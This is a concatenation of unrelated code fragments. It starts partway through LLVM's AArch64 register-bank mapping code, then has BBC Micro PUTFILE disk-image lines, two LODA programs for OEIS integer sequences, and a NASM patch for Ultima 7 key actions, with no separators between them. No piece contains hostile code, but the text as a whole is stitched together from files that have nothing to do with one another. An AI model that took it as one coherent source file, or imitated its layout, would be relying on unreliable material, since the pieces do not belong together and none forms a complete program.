CHECK_VALUEMAP_CROSSREGCPY(GPR, FPR, 32); CHECK_VALUEMAP_CROSSREGCPY(GPR, GPR, 64); CHECK_VALUEMAP_CROSSREGCPY(GPR, FPR, 64); CHECK_VALUEMAP_CROSSREGCPY(FPR, FPR, 32); CHECK_VALUEMAP_CROSSREGCPY(FPR, GPR, 32); CHECK_VALUEMAP_CROSSREGCPY(FPR, FPR, 64); CHECK_VALUEMAP_CROSSREGCPY(FPR, GPR, 64); #define CHECK_VALUEMAP_FPEXT(DstSize, SrcSize) \ do { \ unsigned PartialMapDstIdx = PMI_FPR##DstSize - PMI_Min; \ unsigned PartialMapSrcIdx = PMI_FPR##SrcSize - PMI_Min; \ (void)PartialMapDstIdx; \ (void)PartialMapSrcIdx; \ const ValueMapping *Map = getFPExtMapping(DstSize, SrcSize); \ (void)Map; \ assert(Map[0].BreakDown == \ &AArch64GenRegisterBankInfo::PartMappings[PartialMapDstIdx] && \ Map[0].NumBreakDowns == 1 && "FPR" #DstSize \ " Dst is incorrectly initialized"); \ assert(Map[1].BreakDown == \ &AArch64GenRegisterBankInfo::PartMappings[PartialMapSrcIdx] && \ Map[1].NumBreakDowns == 1 && "FPR" #SrcSize \ " Src is incorrectly initialized"); \ \ } while (false) CHECK_VALUEMAP_FPEXT(32, 16); CHECK_VALUEMAP_FPEXT(64, 16); CHECK_VALUEMAP_FPEXT(64, 32); CHECK_VALUEMAP_FPEXT(128, 64); assert(verify(TRI) && "Invalid register bank information"); }; llvm::call_once(InitializeRegisterBankFlag, InitializeRegisterBankOnce); } unsigned AArch64RegisterBankInfo::copyCost(const RegisterBank &A, const RegisterBank &B, unsigned Size) const { // What do we do with different size? // copy are same size. // Will introduce other hooks for different size: // * extract cost. // * build_sequence cost. // Copy from (resp. to) GPR to (resp. from) FPR involves FMOV. // FIXME: This should be deduced from the scheduling model. if (&A == &AArch64::GPRRegBank && &B == &AArch64::FPRRegBank) // FMOVXDr or FMOVWSr. return 5; if (&A == &AArch64::FPRRegBank && &B == &AArch64::GPRRegBank) // FMOVDXr or FMOVSWr. return 4; return RegisterBankInfo::copyCost(A, B, Size); } const RegisterBank & AArch64RegisterBankInfo::getRegBankFromRegClass(const TargetRegisterClass &RC, LLT) const { switch (RC.getID()) { case AArch64::FPR8RegClassID: case AArch64::FPR16RegClassID: case AArch64::FPR16_loRegClassID: case AArch64::FPR32_with_hsub_in_FPR16_loRegClassID: case AArch64::FPR32RegClassID: case AArch64::FPR64RegClassID: case AArch64::FPR64_loRegClassID: case AArch64::FPR128RegClassID: case AArch64::FPR128_loRegClassID: case AArch64::DDRegClassID: case AArch64::DDDRegClassID: case AArch64::DDDDRegClassID: case AArch64::QQRegClassID: case AArch64::QQQRegClassID: case AArch64::QQQQRegClassID: return getRegBank(AArch64::FPRRegBankID); case AArch64::GPR32commonRegClassID: case AArch64::GPR32RegClassID: case AArch64::GPR32spRegClassID: case AArch64::GPR32sponlyRegClassID: case AArch64::GPR32argRegClassID: case AArch64::GPR32allRegClassID: case AArch64::GPR64commonRegClassID: case AArch64::GPR64RegClassID: case AArch64::GPR64spRegClassID: case AArch64::GPR64sponlyRegClassID: case AArch64::GPR64argRegClassID: case AArch64::GPR64allRegClassID: case AArch64::GPR64noipRegClassID: case AArch64::GPR64common_and_GPR64noipRegClassID: case AArch64::GPR64noip_and_tcGPR64RegClassID: case AArch64::tcGPR64RegClassID: case AArch64::rtcGPR64RegClassID: case AArch64::WSeqPairsClassRegClassID: case AArch64::XSeqPairsClassRegClassID: case AArch64::MatrixIndexGPR32_12_15RegClassID: return getRegBank(AArch64::GPRRegBankID); case AArch64::CCRRegClassID: return getRegBank(AArch64::CCRegBankID); default: llvm_unreachable("Register class not supported"); } } RegisterBankInfo::InstructionMappings AArch64RegisterBankInfo::getInstrAlternativeMappings( const MachineInstr &MI) const { const MachineFunction &MF = *MI.getParent()->getParent(); const TargetSubtargetInfo &STI = MF.getSubtarget(); const TargetRegisterInfo &TRI = *STI.getRegisterInfo(); const MachineRegisterInfo &MRI = MF.getRegInfo(); switch (MI.getOpcode()) { case TargetOpcode::G_OR: { // 32 and 64-bit or can be mapped on either FPR or // GPR for the same cost. unsigned Size = getSizeInBits(MI.getOperand(0).getReg(), MRI, TRI); if (Size != 32 && Size != 64) break; // If the instruction has any implicit-defs or uses, // do not mess with it. if (MI.getNumOperands() != 3) break; InstructionMappings AltMappings; const InstructionMapping &GPRMapping = getInstructionMapping( /*ID*/ 1, /*Cost*/ 1, getValueMapping(PMI_FirstGPR, Size), /*NumOperands*/ 3); const InstructionMapping &FPRMapping = getInstructionMapping( /*ID*/ 2, /*Cost*/ 1, getValueMapping(PMI_FirstFPR, Size), /*NumOperands*/ 3); AltMappings.push_back(&GPRMapping); AltMappings.push_back(&FPRMapping); return AltMappings; } case TargetOpcode::G_BITCAST: { unsigned Size = getSizeInBits(MI.getOperand(0).getReg(), MRI, TRI); if (Size != 32 && Size != 64) break; // If the instruction has any implicit-defs or uses, // do not mess with it. if (MI.getNumOperands() != 2) break; InstructionMappings AltMappings; const InstructionMapping &GPRMapping = getInstructionMapping( /*ID*/ 1, /*Cost*/ 1, getCopyMapping(AArch64::GPRRegBankID, AArch64::GPRRegBankID, Size), /*NumOperands*/ 2); const InstructionMapping &FPRMapping = getInstructionMapping( /*ID*/ 2, /*Cost*/ 1, getCopyMapping(AArch64::FPRRegBankID, AArch64::FPRRegBankID, Size), /*NumOperands*/ 2); const InstructionMapping &GPRToFPRMapping = getInstructionMapping( /*ID*/ 3, /*Cost*/ copyCost(AArch64::GPRRegBank, AArch64::FPRRegBank, Size), getCopyMapping(AArch64::FPRRegBankID, AArch64::GPRRegBankID, Size), /*NumOperands*/ 2); const InstructionMapping &FPRToGPRMapping = getInstructionMapping( /*ID*/ 3, /*Cost*/ copyCost(AArch64::GPRRegBank, AArch64::FPRRegBank, Size), getCopyMapping(AArch64::GPRRegBankID, AArch64::FPRRegBankID, Size), /*NumOperands*/ 2); AltMappings.push_back(&GPRMapping); AltMappings.push_back(&FPRMapping); AltMappings.push_back(&GPRToFPRMapping); AltMappings.push_back(&FPRToGPRMapping); return AltMappings; } case TargetOpcode::G_LOAD: { unsigned Size = getSizeInBits(MI.getOperand(0).getReg(), MRI, TRI); if (Size != 64) break; // If the instruction has any implicit-defs or uses, // do not mess with it. if (MI.getNumOperands() != 2) break; InstructionMappings AltMappings; const InstructionMapping &GPRMapping = getInstructionMapping( /*ID*/ 1, /*Cost*/ 1, getOperandsMapping({getValueMapping(PMI_FirstGPR, Size), // Addresses are GPR 64-bit. getValueMapping(PMI_FirstGPR, 64)}), /*NumOperands*/ 2); const InstructionMapping &FPRMapping = getInstructionMapping( /*ID*/ 2, /*Cost*/ 1, getOperandsMapping({getValueMapping(PMI_FirstFPR, Size), // Addresses are GPR 64-bit. getValueMapping(PMI_FirstGPR, 64)}), /*NumOperands*/ 2); AltMappings.push_back(&GPRMapping); AltMappings.push_back(&FPRMapping); return AltMappings; } default: break; } return RegisterBankInfo::getInstrAlternativeMappings(MI); } void AArch64RegisterBankInfo::applyMappingImpl( const OperandsMapper &OpdMapper) const { switch (OpdMapper.getMI().getOpcode()) { case TargetOpcode::G_OR: case TargetOpcode::G_BITCAST: case TargetOpcode::G_LOAD: // Those ID must match getInstrAlternativeMappings. assert((OpdMapper.getInstrMapping().getID() >= 1 && OpdMapper.getInstrMapping().getID() <= 4) && "Don't know how to handle that ID"); return applyDefaultMapping(OpdMapper); default: llvm_unreachable("Don't know how to handle that operation"); } } /// Returns whether opcode \p Opc is a pre-isel generic floating-point opcode, /// having only floating-point operands. static bool isPreISelGenericFloatingPointOpcode(unsigned Opc) { switch (Opc) { case TargetOpcode::G_FADD: case TargetOpcode::G_FSUB: case TargetOpcode::G_FMUL: case TargetOpcode::G_FMA: case TargetOpcode::G_FDIV: case TargetOpcode::G_FCONSTANT: case TargetOpcode::G_FPEXT: case TargetOpcode::G_FPTRUNC: case TargetOpcode::G_FCEIL: case TargetOpcode::G_FFLOOR: case TargetOpcode::G_FNEARBYINT: case TargetOpcode::G_FNEG: case TargetOpcode::G_FCOS: case TargetOpcode::G_FSIN: case TargetOpcode::G_FLOG10: case TargetOpcode::G_FLOG: case TargetOpcode::G_FLOG2: case TargetOpcode::G_FSQRT: case TargetOpcode::G_FABS: case TargetOpcode::G_FEXP: case TargetOpcode::G_FRINT: case TargetOpcode::G_INTRINSIC_TRUNC: case TargetOpcode::G_INTRINSIC_ROUND: case TargetOpcode::G_FMAXNUM: case TargetOpcode::G_FMINNUM: return true; } return false; } const RegisterBankInfo::InstructionMapping & AArch64RegisterBankInfo::getSameKindOfOperandsMapping( const MachineInstr &MI) const { const unsigned Opc = MI.getOpcode(); const MachineFunction &MF = *MI.getParent()->getParent(); const MachineRegisterInfo &MRI = MF.getRegInfo(); unsigned NumOperands = MI.getNumOperands(); assert(NumOperands <= 3 && "This code is for instructions with 3 or less operands"); LLT Ty = MRI.getType(MI.getOperand(0).getReg()); unsigned Size = Ty.getSizeInBits(); bool IsFPR = Ty.isVector() || isPreISelGenericFloatingPointOpcode(Opc); PartialMappingIdx RBIdx = IsFPR ? PMI_FirstFPR : PMI_FirstGPR; #ifndef NDEBUG // Make sure all the operands are using similar size and type. // Should probably be checked by the machine verifier. // This code won't catch cases where the number of lanes is // different between the operands. // If we want to go to that level of details, it is probably // best to check that the types are the same, period. // Currently, we just check that the register banks are the same // for each types. for (unsigned Idx = 1; Idx != NumOperands; ++Idx) { LLT OpTy = MRI.getType(MI.getOperand(Idx).getReg()); assert( AArch64GenRegisterBankInfo::getRegBankBaseIdxOffset( RBIdx, OpTy.getSizeInBits()) == AArch64GenRegisterBankInfo::getRegBankBaseIdxOffset(RBIdx, Size) && "Operand has incompatible size"); bool OpIsFPR = OpTy.isVector() || isPreISelGenericFloatingPointOpcode(Opc); (void)OpIsFPR; assert(IsFPR == OpIsFPR && "Operand has incompatible type"); } #endif // End NDEBUG. return getInstructionMapping(DefaultMappingID, 1, getValueMapping(RBIdx, Size), NumOperands); } /// \returns true if a given intrinsic \p ID only uses and defines FPRs. static bool isFPIntrinsic(unsigned ID) { // TODO: Add more intrinsics. switch (ID) { default: return false; case Intrinsic::aarch64_neon_uaddlv: return true; } } bool AArch64RegisterBankInfo::hasFPConstraints(const MachineInstr &MI, const MachineRegisterInfo &MRI, const TargetRegisterInfo &TRI, unsigned Depth) const { unsigned Op = MI.getOpcode(); if (Op == TargetOpcode::G_INTRINSIC && isFPIntrinsic(MI.getIntrinsicID())) return true; // Do we have an explicit floating point instruction? if (isPreISelGenericFloatingPointOpcode(Op)) return true; // No. Check if we have a copy-like instruction. If we do, then we could // still be fed by floating point instructions. if (Op != TargetOpcode::COPY && !MI.isPHI() && !isPreISelGenericOptimizationHint(Op)) return false; // Check if we already know the register bank. auto *RB = getRegBank(MI.getOperand(0).getReg(), MRI, TRI); if (RB == &AArch64::FPRRegBank) return true; if (RB == &AArch64::GPRRegBank) return false; // We don't know anything. // // If we have a phi, we may be able to infer that it will be assigned a FPR // based off of its inputs. if (!MI.isPHI() || Depth > MaxFPRSearchDepth) return false; return any_of(MI.explicit_uses(), [&](const MachineOperand &Op) { return Op.isReg() && onlyDefinesFP(*MRI.getVRegDef(Op.getReg()), MRI, TRI, Depth + 1); }); } bool AArch64RegisterBankInfo::onlyUsesFP(const MachineInstr &MI, const MachineRegisterInfo &MRI, const TargetRegisterInfo &TRI, unsigned Depth) const { switch (MI.getOpcode()) { case TargetOpcode::G_FPTOSI: case TargetOpcode::G_FPTOUI: case TargetOpcode::G_FCMP: case TargetOpcode::G_LROUND: case TargetOpcode::G_LLROUND: return true; default: break; } return hasFPConstraints(MI, MRI, TRI, Depth); } bool AArch64RegisterBankInfo::onlyDefinesFP(const MachineInstr &MI, const MachineRegisterInfo &MRI, const TargetRegisterInfo &TRI, unsigned Depth) const { switch (MI.getOpcode()) { case AArch64::G_DUP: case TargetOpcode::G_SITOFP: case TargetOpcode::G_UITOFP: case TargetOpcode::G_EXTRACT_VECTOR_ELT: case TargetOpcode::G_INSERT_VECTOR_ELT: case TargetOpcode::G_BUILD_VECTOR: case TargetOpcode::G_BUILD_VECTOR_TRUNC: return true; default: break; } return hasFPConstraints(MI, MRI, TRI, Depth); } const RegisterBankInfo::InstructionMapping & AArch64RegisterBankInfo::getInstrMapping(const MachineInstr &MI) const { const unsigned Opc = MI.getOpcode(); // Try the default logic for non-generic instructions that are either copies // or already have some operands assigned to banks. if ((Opc != TargetOpcode::COPY && !isPreISelGenericOpcode(Opc)) || Opc == TargetOpcode::G_PHI) { const RegisterBankInfo::InstructionMapping &Mapping = getInstrMappingImpl(MI); if (Mapping.isValid()) return Mapping; } const MachineFunction &MF = *MI.getParent()->getParent(); const MachineRegisterInfo &MRI = MF.getRegInfo(); const TargetSubtargetInfo &STI = MF.getSubtarget(); const TargetRegisterInfo &TRI = *STI.getRegisterInfo(); switch (Opc) { // G_{F|S|U}REM are not listed because they are not legal. // Arithmetic ops. case TargetOpcode::G_ADD: case TargetOpcode::G_SUB: case TargetOpcode::G_PTR_ADD: case TargetOpcode::G_MUL: case TargetOpcode::G_SDIV: case TargetOpcode::G_UDIV: // Bitwise ops. case TargetOpcode::G_AND: case TargetOpcode::G_OR: case TargetOpcode::G_XOR: // Floating point ops. case TargetOpcode::G_FADD: case TargetOpcode::G_FSUB: case TargetOpcode::G_FMUL: case TargetOpcode::G_FDIV: return getSameKindOfOperandsMapping(MI); case TargetOpcode::G_FPEXT: { LLT DstTy = MRI.getType(MI.getOperand(0).getReg()); LLT SrcTy = MRI.getType(MI.getOperand(1).getReg()); return getInstructionMapping( DefaultMappingID, /*Cost*/ 1, getFPExtMapping(DstTy.getSizeInBits(), SrcTy.getSizeInBits()), /*NumOperands*/ 2); } // Shifts. case TargetOpcode::G_SHL: case TargetOpcode::G_LSHR: case TargetOpcode::G_ASHR: { LLT ShiftAmtTy = MRI.getType(MI.getOperand(2).getReg()); LLT SrcTy = MRI.getType(MI.getOperand(1).getReg()); if (ShiftAmtTy.getSizeInBits() == 64 && SrcTy.getSizeInBits() == 32) return getInstructionMapping(DefaultMappingID, 1, &ValMappings[Shift64Imm], 3); return getSameKindOfOperandsMapping(MI); } case TargetOpcode::COPY: { Register DstReg = MI.getOperand(0).getReg(); Register SrcReg = MI.getOperand(1).getReg(); // Check if one of the register is not a generic register. if ((Register::isPhysicalRegister(DstReg) || !MRI.getType(DstReg).isValid()) || (Register::isPhysicalRegister(SrcReg) || !MRI.getType(SrcReg).isValid())) { const RegisterBank *DstRB = getRegBank(DstReg, MRI, TRI); const RegisterBank *SrcRB = getRegBank(SrcReg, MRI, TRI); if (!DstRB) DstRB = SrcRB; else if (!SrcRB) SrcRB = DstRB; // If both RB are null that means both registers are generic. // We shouldn't be here. assert(DstRB && SrcRB && "Both RegBank were nullptr"); unsigned Size = getSizeInBits(DstReg, MRI, TRI); return getInstructionMapping( DefaultMappingID, copyCost(*DstRB, *SrcRB, Size), getCopyMapping(DstRB->getID(), SrcRB->getID(), Size), // We only care about the mapping of the destination. /*NumOperands*/ 1); } // Both registers are generic, use G_BITCAST. LLVM_FALLTHROUGH; } case TargetOpcode::G_BITCAST: { LLT DstTy = MRI.getType(MI.getOperand(0).getReg()); LLT SrcTy = MRI.getType(MI.getOperand(1).getReg()); unsigned Size = DstTy.getSizeInBits(); bool DstIsGPR = !DstTy.isVector() && DstTy.getSizeInBits() <= 64; bool SrcIsGPR = !SrcTy.isVector() && SrcTy.getSizeInBits() <= 64; const RegisterBank &DstRB = DstIsGPR ? AArch64::GPRRegBank : AArch64::FPRRegBank; const RegisterBank &SrcRB = SrcIsGPR ? AArch64::GPRRegBank : AArch64::FPRRegBank; return getInstructionMapping( DefaultMappingID, copyCost(DstRB, SrcRB, Size), getCopyMapping(DstRB.getID(), SrcRB.getID(), Size), // We only care about the mapping of the destination for COPY. /*NumOperands*/ Opc == TargetOpcode::G_BITCAST ? 2 : 1); } default: break; } unsigned NumOperands = MI.getNumOperands(); // Track the size and bank of each register. We don't do partial mappings. SmallVector<unsigned, 4> OpSize(NumOperands); SmallVector<PartialMappingIdx, 4> OpRegBankIdx(NumOperands); for (unsigned Idx = 0; Idx < NumOperands; ++Idx) { auto &MO = MI.getOperand(Idx); if (!MO.isReg() || !MO.getReg()) continue; LLT Ty = MRI.getType(MO.getReg()); OpSize[Idx] = Ty.getSizeInBits(); // As a top-level guess, vectors go in FPRs, scalars and pointers in GPRs. // For floating-point instructions, scalars go in FPRs. if (Ty.isVector() || isPreISelGenericFloatingPointOpcode(Opc) || Ty.getSizeInBits() > 64) OpRegBankIdx[Idx] = PMI_FirstFPR; else OpRegBankIdx[Idx] = PMI_FirstGPR; } unsigned Cost = 1; // Some of the floating-point instructions have mixed GPR and FPR operands: // fine-tune the computed mapping. switch (Opc) { case AArch64::G_DUP: { Register ScalarReg = MI.getOperand(1).getReg(); LLT ScalarTy = MRI.getType(ScalarReg); auto ScalarDef = MRI.getVRegDef(ScalarReg); // s8 is an exception for G_DUP, which we always want on gpr. if (ScalarTy.getSizeInBits() != 8 && (getRegBank(ScalarReg, MRI, TRI) == &AArch64::FPRRegBank || onlyDefinesFP(*ScalarDef, MRI, TRI))) OpRegBankIdx = {PMI_FirstFPR, PMI_FirstFPR}; else OpRegBankIdx = {PMI_FirstFPR, PMI_FirstGPR}; break; } case TargetOpcode::G_TRUNC: { LLT SrcTy = MRI.getType(MI.getOperand(1).getReg()); if (!SrcTy.isVector() && SrcTy.getSizeInBits() == 128) OpRegBankIdx = {PMI_FirstFPR, PMI_FirstFPR}; break; } case TargetOpcode::G_SITOFP: case TargetOpcode::G_UITOFP: { if (MRI.getType(MI.getOperand(0).getReg()).isVector()) break; // Integer to FP conversions don't necessarily happen between GPR -> FPR // regbanks. They can also be done within an FPR register. Register SrcReg = MI.getOperand(1).getReg(); if (getRegBank(SrcReg, MRI, TRI) == &AArch64::FPRRegBank) OpRegBankIdx = {PMI_FirstFPR, PMI_FirstFPR}; else OpRegBankIdx = {PMI_FirstFPR, PMI_FirstGPR}; break; } case TargetOpcode::G_FPTOSI: case TargetOpcode::G_FPTOUI: if (MRI.getType(MI.getOperand(0).getReg()).isVector()) break; OpRegBankIdx = {PMI_FirstGPR, PMI_FirstFPR}; break; case TargetOpcode::G_FCMP: { // If the result is a vector, it must use a FPR. AArch64GenRegisterBankInfo::PartialMappingIdx Idx0 = MRI.getType(MI.getOperand(0).getReg()).isVector() ? PMI_FirstFPR : PMI_FirstGPR; OpRegBankIdx = {Idx0, /* Predicate */ PMI_None, PMI_FirstFPR, PMI_FirstFPR}; break; } case TargetOpcode::G_BITCAST: // This is going to be a cross register bank copy and this is expensive. if (OpRegBankIdx[0] != OpRegBankIdx[1]) Cost = copyCost( *AArch64GenRegisterBankInfo::PartMappings[OpRegBankIdx[0]].RegBank, *AArch64GenRegisterBankInfo::PartMappings[OpRegBankIdx[1]].RegBank, OpSize[0]); break; case TargetOpcode::G_LOAD: // Loading in vector unit is slightly more expensive. // This is actually only true for the LD1R and co instructions, // but anyway for the fast mode this number does not matter and // for the greedy mode the cost of the cross bank copy will // offset this number. // FIXME: Should be derived from the scheduling model. if (OpRegBankIdx[0] != PMI_FirstGPR) Cost = 2; else // Check if that load feeds fp instructions. // In that case, we want the default mapping to be on FPR // instead of blind map every scalar to GPR. for (const MachineInstr &UseMI : MRI.use_nodbg_instructions(MI.getOperand(0).getReg())) { // If we have at least one direct use in a FP instruction, // assume this was a floating point load in the IR. // If it was not, we would have had a bitcast before // reaching that instruction. // Int->FP conversion operations are also captured in onlyDefinesFP(). if (onlyUsesFP(UseMI, MRI, TRI) || onlyDefinesFP(UseMI, MRI, TRI)) { OpRegBankIdx[0] = PMI_FirstFPR; break; } } break; case TargetOpcode::G_STORE: // Check if that store is fed by fp instructions. if (OpRegBankIdx[0] == PMI_FirstGPR) { Register VReg = MI.getOperand(0).getReg(); if (!VReg) break; MachineInstr *DefMI = MRI.getVRegDef(VReg); if (onlyDefinesFP(*DefMI, MRI, TRI)) OpRegBankIdx[0] = PMI_FirstFPR; break; } break; case TargetOpcode::G_SELECT: { // If the destination is FPR, preserve that. if (OpRegBankIdx[0] != PMI_FirstGPR) break; // If we're taking in vectors, we have no choice but to put everything on // FPRs, except for the condition. The condition must always be on a GPR. LLT SrcTy = MRI.getType(MI.getOperand(2).getReg()); if (SrcTy.isVector()) { OpRegBankIdx = {PMI_FirstFPR, PMI_FirstGPR, PMI_FirstFPR, PMI_FirstFPR}; break; } // Try to minimize the number of copies. If we have more floating point // constrained values than not, then we'll put everything on FPR. Otherwise, // everything has to be on GPR. unsigned NumFP = 0; // Check if the uses of the result always produce floating point values. // // For example: // // %z = G_SELECT %cond %x %y // fpr = G_FOO %z ... if (any_of(MRI.use_nodbg_instructions(MI.getOperand(0).getReg()), [&](MachineInstr &MI) { return onlyUsesFP(MI, MRI, TRI); })) ++NumFP; // Check if the defs of the source values always produce floating point // values. // // For example: // // %x = G_SOMETHING_ALWAYS_FLOAT %a ... // %z = G_SELECT %cond %x %y // // Also check whether or not the sources have already been decided to be // FPR. Keep track of this. // // This doesn't check the condition, since it's just whatever is in NZCV. // This isn't passed explicitly in a register to fcsel/csel. for (unsigned Idx = 2; Idx < 4; ++Idx) { Register VReg = MI.getOperand(Idx).getReg(); MachineInstr *DefMI = MRI.getVRegDef(VReg); if (getRegBank(VReg, MRI, TRI) == &AArch64::FPRRegBank || onlyDefinesFP(*DefMI, MRI, TRI)) ++NumFP; } // If we have more FP constraints than not, then move everything over to // FPR. if (NumFP >= 2) OpRegBankIdx = {PMI_FirstFPR, PMI_FirstGPR, PMI_FirstFPR, PMI_FirstFPR}; break; } case TargetOpcode::G_UNMERGE_VALUES: { // If the first operand belongs to a FPR register bank, then make sure that // we preserve that. if (OpRegBankIdx[0] != PMI_FirstGPR) break; LLT SrcTy = MRI.getType(MI.getOperand(MI.getNumOperands()-1).getReg()); // UNMERGE into scalars from a vector should always use FPR. // Likewise if any of the uses are FP instructions. if (SrcTy.isVector() || SrcTy == LLT::scalar(128) || any_of(MRI.use_nodbg_instructions(MI.getOperand(0).getReg()), [&](MachineInstr &MI) { return onlyUsesFP(MI, MRI, TRI); })) { // Set the register bank of every operand to FPR. for (unsigned Idx = 0, NumOperands = MI.getNumOperands(); Idx < NumOperands; ++Idx) OpRegBankIdx[Idx] = PMI_FirstFPR; } break; } case TargetOpcode::G_EXTRACT_VECTOR_ELT: // Destination and source need to be FPRs. OpRegBankIdx[0] = PMI_FirstFPR; OpRegBankIdx[1] = PMI_FirstFPR; // Index needs to be a GPR. OpRegBankIdx[2] = PMI_FirstGPR; break; case TargetOpcode::G_INSERT_VECTOR_ELT: OpRegBankIdx[0] = PMI_FirstFPR; OpRegBankIdx[1] = PMI_FirstFPR; // The element may be either a GPR or FPR. Preserve that behaviour. if (getRegBank(MI.getOperand(2).getReg(), MRI, TRI) == &AArch64::FPRRegBank) OpRegBankIdx[2] = PMI_FirstFPR; else OpRegBankIdx[2] = PMI_FirstGPR; // Index needs to be a GPR. OpRegBankIdx[3] = PMI_FirstGPR; break; case TargetOpcode::G_EXTRACT: { // For s128 sources we have to use fpr unless we know otherwise. auto Src = MI.getOperand(1).getReg(); LLT SrcTy = MRI.getType(MI.getOperand(1).getReg()); if (SrcTy.getSizeInBits() != 128) break; auto Idx = MRI.getRegClassOrNull(Src) == &AArch64::XSeqPairsClassRegClass ? PMI_FirstGPR : PMI_FirstFPR; OpRegBankIdx[0] = Idx; OpRegBankIdx[1] = Idx; break; } case TargetOpcode::G_BUILD_VECTOR: { // If the first source operand belongs to a FPR register bank, then make // sure that we preserve that. if (OpRegBankIdx[1] != PMI_FirstGPR) break; Register VReg = MI.getOperand(1).getReg(); if (!VReg) break; // Get the instruction that defined the source operand reg, and check if // it's a floating point operation. Or, if it's a type like s16 which // doesn't have a exact size gpr register class. The exception is if the // build_vector has all constant operands, which may be better to leave as // gpr without copies, so it can be matched in imported patterns. MachineInstr *DefMI = MRI.getVRegDef(VReg); unsigned DefOpc = DefMI->getOpcode(); const LLT SrcTy = MRI.getType(VReg); if (all_of(MI.operands(), [&](const MachineOperand &Op) { return Op.isDef() || MRI.getVRegDef(Op.getReg())->getOpcode() == TargetOpcode::G_CONSTANT; })) break; if (isPreISelGenericFloatingPointOpcode(DefOpc) || SrcTy.getSizeInBits() < 32 || getRegBank(VReg, MRI, TRI) == &AArch64::FPRRegBank) { // Have a floating point op. // Make sure every operand gets mapped to a FPR register class. unsigned NumOperands = MI.getNumOperands(); for (unsigned Idx = 0; Idx < NumOperands; ++Idx) OpRegBankIdx[Idx] = PMI_FirstFPR; } break; } case TargetOpcode::G_VECREDUCE_FADD: case TargetOpcode::G_VECREDUCE_FMUL: case TargetOpcode::G_VECREDUCE_FMAX: case TargetOpcode::G_VECREDUCE_FMIN: case TargetOpcode::G_VECREDUCE_ADD: case TargetOpcode::G_VECREDUCE_MUL: case TargetOpcode::G_VECREDUCE_AND: case TargetOpcode::G_VECREDUCE_OR: case TargetOpcode::G_VECREDUCE_XOR: case TargetOpcode::G_VECREDUCE_SMAX: case TargetOpcode::G_VECREDUCE_SMIN: case TargetOpcode::G_VECREDUCE_UMAX: case TargetOpcode::G_VECREDUCE_UMIN: // Reductions produce a scalar value from a vector, the scalar should be on // FPR bank. OpRegBankIdx = {PMI_FirstFPR, PMI_FirstFPR}; break; case TargetOpcode::G_VECREDUCE_SEQ_FADD: case TargetOpcode::G_VECREDUCE_SEQ_FMUL: // These reductions also take a scalar accumulator input. // Assign them FPR for now. OpRegBankIdx = {PMI_FirstFPR, PMI_FirstFPR, PMI_FirstFPR}; break; case TargetOpcode::G_INTRINSIC: { // Check if we know that the intrinsic has any constraints on its register // banks. If it does, then update the mapping accordingly. unsigned ID = MI.getIntrinsicID(); unsigned Idx = 0; if (!isFPIntrinsic(ID)) break; for (const auto &Op : MI.explicit_operands()) { if (Op.isReg()) OpRegBankIdx[Idx] = PMI_FirstFPR; ++Idx; } break; } case TargetOpcode::G_LROUND: case TargetOpcode::G_LLROUND: { // Source is always floating point and destination is always integer. OpRegBankIdx = {PMI_FirstGPR, PMI_FirstFPR}; break; } } // Finally construct the computed mapping. SmallVector<const ValueMapping *, 8> OpdsMapping(NumOperands); for (unsigned Idx = 0; Idx < NumOperands; ++Idx) { if (MI.getOperand(Idx).isReg() && MI.getOperand(Idx).getReg()) { auto Mapping = getValueMapping(OpRegBankIdx[Idx], OpSize[Idx]); if (!Mapping->isValid()) return getInvalidInstructionMapping(); OpdsMapping[Idx] = Mapping; } } return getInstructionMapping(DefaultMappingID, Cost, getOperandsMapping(OpdsMapping), NumOperands); }
PUTFILE "gallery/output/volume3/earth.png.bbc.exo", "A.01", &6285, &2fc0 PUTFILE "gallery/output/volume3/fashion.png.bbc.exo", "A.02", &540a, &2fc0 PUTFILE "gallery/output/volume3/lenna.png.bbc.exo", "A.03", &53e1, &2fc0 PUTFILE "gallery/output/volume3/lighthouse.png.bbc.exo", "A.04", &5104, &2fc0 PUTFILE "gallery/output/volume3/monalisa.png.bbc.exo", "A.05", &668b, &2fc0 PUTFILE "gallery/output/volume3/moon.png.bbc.exo", "A.06", &5621, &2fc0 PUTFILE "gallery/output/volume3/parrot.png.bbc.exo", "A.07", &52f1, &2fc0 PUTFILE "gallery/output/volume3/sharbat.png.bbc.exo", "A.08", &671e, &2fc0 PUTFILE "gallery/output/volume3/tiger.png.bbc.exo", "A.09", &4b79, &2fc0
; A061242: Primes of the form 9*k - 1. ; 17,53,71,89,107,179,197,233,251,269,359,431,449,467,503,521,557,593,647,683,701,719,773,809,827,863,881,953,971,1061,1097,1151,1187,1223,1259,1277,1367,1439,1493,1511,1583,1601,1619,1637,1709,1871,1889,1907,1979,1997,2069,2087,2141,2213,2267,2339,2357,2393,2411,2447,2591,2609,2663,2699,2753,2789,2843,2861,2879,2897,2969,3023,3041,3167,3203,3221,3257,3329,3347,3491,3527,3581,3617,3671,3761,3779,3797,3833,3851,3923,4013,4049,4139,4157,4211,4229,4283,4337,4373,4391 mov $5,$0 add $5,$0 mov $2,$5 add $2,1 pow $2,2 add $2,1 lpb $2 add $1,7 sub $2,1 mov $3,$1 seq $3,10051 ; Characteristic function of primes: 1 if n is prime, else 0. sub $0,$3 add $1,2 mov $4,$0 max $4,0 cmp $4,$0 mul $2,$4 lpe div $1,2 sub $1,9 mul $1,2 add $1,17 mov $0,$1
%include "include/u7bg-all-includes.asm" %macro defineGameSpecificKeyUsableItems 0 defineKeyUsableItem 'o', 785, 0xFF, 0xFF ; Orb of the Moons defineKeyUsableItem 'w', 159, 0xFF, 0xFF ; pocketwatch %endmacro %macro defineGameSpecificKeyEops 0 ; none %endmacro %include "../u7-common/patch-eop-keyActions.asm"
; A015000: q-integers for q=-13. ; 1,-12,157,-2040,26521,-344772,4482037,-58266480,757464241,-9847035132,128011456717,-1664148937320,21633936185161,-281241170407092,3656135215292197,-47529757798798560,617886851384381281,-8032529067996956652,104422877883960436477,-1357497412491485674200,17647466362389313764601,-229417062711061078939812,2982421815243794026217557,-38771483598169322340828240,504029286776201190430767121,-6552380728090615475599972572,85180949465178001182799643437,-1107352343047314015376395364680,14395580459615082199893139740841,-187142545974996068598610816630932,2432853097674948891781940616202117,-31627090269774335593165228010627520,411152173507066362711147964138157761 add $0,1 lpb $0 sub $0,1 sub $1,13 mul $1,-13 lpe div $1,169 mov $0,$1
